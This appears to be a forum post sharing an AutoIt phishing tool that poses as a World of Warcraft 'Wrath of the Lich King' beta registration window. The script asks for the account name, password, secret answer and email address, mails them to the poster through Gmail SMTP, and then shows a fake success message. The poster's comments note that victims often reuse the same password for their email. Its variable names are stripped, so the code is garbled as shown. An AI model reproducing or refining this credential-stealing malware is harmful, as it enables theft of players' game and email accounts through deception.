Code:
#include
#Include
MsgBox( 0, "WotLK Beta Registration", "Please use a valid and active World of Warcraft account to register.")
Func _INetSmtpMailCom(, , , , = "", = "", = "", = "", = "", = "", = "",=465, =1)
= ObjCreate("CDO.Message")
.From = '"' & & '" <' & & '>'
.To =
Local = 0
Local = ""
If <> "" Then .Cc =
If <> "" Then .Bcc =
.Subject =
If StringInStr(,"<") and StringInStr(,">") Then
.HTMLBody =
Else
.Textbody = & @CRLF
EndIf
If <> "" Then
Local = StringSplit(, ";")
For = 1 To
= _PathFull ()
If FileExists() Then
.AddAttachment ()
Else
= & @lf & 'File not found to attach: ' &
SetError(1)
return 0
EndIf
Next
EndIf
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") =
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") =
;Authenticated SMTP
If <> "" Then
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") =
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") =
EndIf
If Then
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
.Configuration.Fields.Update
; Sent the Message
.Send
if @error then
SetError(2)
return
EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
= Hex(.number, 8)
=
= StringStripWS(.description,3)
ConsoleWrite("### COM Error ! Number: " & & " ScriptLine: " & .scriptline & " Description:" & & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
GuiCreate("Wrath of the Lich King - Beta Account Registration", 640,487, -1, -1, -1, )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)
=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)
; BUTTON
= GuiCtrlCreateButton("Login", 255,305,70,20)
= GuiCtrlCreateButton("Cancel", 345,305,70,20)
; GUI MESSAGE LOOP
GuiSetState()
While 1
= GUIGetMsg()
Select
Case =
ExitLoop
Case =
= GUICtrlRead()
= GUICtrlRead()
= InputBox("Secret Answer", "Please type in your secret question answer.", "")
= InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")
= "Accountname: " & @CRLF & & @CRLF & "Password:" & @CRLF & & @CRLF &"Antwort:" & @CRLF &
= _INetSmtpMailCom("smtp.gmail.com", , "youremail", "youremail", "WoWAccount", , "", "", "", "emailusername", "emailpass", 465, 1)
MsgBox( 0, "Registration sucessful", "When the Wrath of the Lich King beta starts, you will receive a beta key with which you can activate your beta account. Repeated filling of the registration has no more effect.")
ExitLoop
Case =
ExitLoop
EndSelect
WEnd
Btw, this code also includes asking for the account holders email address (sometimes the account holder has the same password for the email = free account)
= InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")
Also improved the grammar a little bit - Enjoy.